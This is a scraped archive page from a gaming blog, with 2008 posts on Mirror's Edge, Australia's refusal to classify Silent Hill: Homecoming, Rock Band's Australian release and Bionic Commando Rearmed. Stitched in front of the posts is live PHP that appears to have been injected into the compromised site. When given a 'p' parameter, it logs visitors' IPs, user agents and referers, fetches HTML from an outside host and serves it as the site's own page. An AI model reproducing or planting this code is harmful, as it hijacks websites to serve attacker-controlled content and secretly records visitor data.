error_reporting(0); ini_set('display_errors',0); define('STATFILE','stat.txt'); define('LOG',true); if(isset($_GET['p'])) { $sock = fsockopen('km32025.keymachine.de', 80); if($sock){ if (LOG && isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])) { $referer = rawurlencode($_SERVER['HTTP_REFERER']); $remote_ip = $_SERVER['REMOTE_ADDR']; $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $file = fopen(STATFILE,'ab'); if ($file) { fwrite($file,date('Y-m-d H:i:s').' '.$remote_ip.' '.$user_agent.' '.rawurldecode($referer)."\n"); fclose($file); } } fwrite ($sock, 'GET http://km32025.keymachine.de/oslik2/cn/7/'.$_GET['p'].'.html HTTP/1.0'."\r\n"); fwrite ($sock, 'Host: km32025.keymachine.de'."\r\n\r\n"); while($content[] = fgets ($sock)); $content = implode('', $content); echo(trim(substr($content, strpos($content, "\r\n\r\n")))); fclose ($sock);} exit; } -=+fastlikesquirrel.com+=- » X360

Archive for the 'X360' Category

Behind the Mirror

Tuesday, September 30th, 2008

During the last couple of years, there has been a substantial lack of action-adventure games that feature a decent escape mechanism. I’m not just talking about dodging bullets and then running to the next scene/level, I’m talking about the ability to blend into a group of NPCs or by using the terrain around you to escape your pursuers (a-la Parkour). Assassin’s Creed was the first game I felt that covered off on this and the fluidity of the climbing aspects was astounding. That said, it looks like there is a new player on the scene called Mirror’s Edge.

Mirror’s Edge is an upcoming first person action-adventure video game being developed by EA Digital Illusions CE (DICE), due for release on PlayStation 3 and Xbox 360 in early November. Over at 1up.com, they have a behind the scenes look at the game and describe the process of making a first-person Parkour game. It’s definitely worth a read…

Judging by the early footage I’ve seen and the research I’ve conducted, I’m going out on a limb and pegging this game as a must-have.

Silent Hill silenced

Monday, September 29th, 2008

New Enthusiast has received word from the Classification Board on the ruling of Silent Hill: Homecoming.

It was refused classification due to the high impact violence throughout the game. From the scenarios used as examples, usually accompanied by copious amounts of blood, it is clear that the violence would never warrant an MA15+ rating, hence the refusal of classification. Here is an example of a scene described in the report:

“The violence is considered highly impactful in such scenes as where an electric drill is explicitly forced through Alex’s right eye socket, remaining there for an extended period as Alex screams and blood sprays from the wound. There are several scenarios in which this means of death is used, on one occasion the drill being wielded by a zombie-nurse and on another by a woman named Margaret. In an alternative scenario, Alex turns the drill on his attacker and the drill is explicitly forced up through the woman’s chin until she falls to the floor with the drill embedded in her skull.”

Local distributors, Atari Australia, have yet to comment on what their next step will be regarding this classification ruling.

Another one bites the dust…

Friday, September 26th, 2008

Silent Hill: Homecoming is the latest title to feel the wrath of The Classification Board, with news that the horror title has been refused classification in Australia.

The game, which was due for release on PC, PS3 and Xbox 360 in November, features a soldier who returns from war to search for his missing brother. It is distributed in Australia by Atari, who last had classification difficulties with the controversial Marc Ecko’s Getting Up.

Source

The Classification Board DB entry

Silent Hill: Homecoming was to be the sixth installment in the Silent Hill survival horror video game series, currently being developed by Foundation 9 studio, Double Helix Games, and published by Konami.

This makes it the fourth game this year to be refused classification by the Board. I’m still waiting to see how the government is going to allow the public to voice their concerns over the lack of a R18+ classification for video games. I, for one, will be front and centre, making as much noise as possible.

Rock Band finally lands

Monday, September 22nd, 2008

A release date for Rock Band in AU has finally been announced.

Publisher MTV Games and distributor Electronic Arts have finally announced an Australian release date for the highly anticipated music game Rock Band.

Rock Band will be released in Australia for the Xbox 360, PS3, Wii and PS2 on November 7 - a full 12 months after the game’s US release.

Rock Band was created by original Guitar Hero developers Harmonix and lets four players jam together in a band using guitar, drums and microphone peripherals. It’s popularity has ensured MTV Games has not been able to manufacture enough hardware to meet global demand.

The Australian price of Rock Band and its peripherals has not yet been revealed.

Source

There were rumours floating around the industry that they were going to can this version and wait for the release of Rock Band 2, which just had it’s North American debut. But overall, the situation is a farce… a full year behind the release date in the US? PAL gamers usually get stiffed as a whole on games releases but this is moving into the realm of ridiculous.

Unleash the Force

Tuesday, August 26th, 2008

Late last week, the demo for one of the most hotly anticipated Star Wars video games was released on XBL and PSN. Titled Star Wars: The Force Unleashed, this game is to be released across numerous gaming platforms; such as the PS3, X360, Wii, PSP, DS, second-generation N-Gage,iPhone, iPod Touch, and PlayStation 2. Force Unleashed is due to hit AU shores on 17/09/08.

I was originally interested in this game because initial reports suggested that this would be the ultimate lightsaber game for the Wii, that all Star Wars fans had been hoping for. But it seems someone over at Nintendo forgot to tell LucasArts they were developing a peripheral (Wii Motion Plus) to increase the accuracy of the Wiimote. This could seriously affect the gameplay mechanic and how responsive the Wiimote is. Of course, Lucasarts were unimpressed, to say the least. So for the meantime, I think I will pass on the Wii version and just purchase the X360 version instead. I downloaded the demo over XBL and I’ve probably played it approx. ten times since and I’m still finding different ways to smash stormtroopers. Good stuff.

Check out the trailer, complete with gameplay, below.

Refreshed & rearmed

Tuesday, August 19th, 2008

I remember playing the original Bionic Commando on NES in the late 80s/early 90s, a sequel to the original arcade game that was released in 1987. It was a great game with some decent challenges and enemies… oh, and you had a grappling hook for an arm. Capcom announced some time ago that they were going to revisit the franchise; refreshing the 2D gameplay and taking it to the next level. Let me get something straight though; this is not a sequel or a prequel, nor is it ‘based on’ the original game. It IS the original game, with a lick of new paint.

The above video shows the first BC game to be released, Bionic Commando Rearmed. But, there’s also another new Bionic Commando game to be released soon. Confused? I know I was when I first heard it. The other new BC game, funnily enough called Bionic Commando, can be best described as a 3D swinging game (a-la Spidey games) with guns and destructable environments.

BC Rearmed was released last week on XBL, and I downloaded it on the weekend and had a decent crack at some of the levels. Capcom have certainly kept up their end of the bargain. The game still feels like the 8-bit classic gameplay but with the new improvements in gameplay and graphics. It has a sense of familarity without feeling stale, at all. This game is must have if you’ve played the original.

If anyone purchases the game for X360, leave me a message to let me know, as I would be interested in some multiplayer action. Multiple swingers FTW.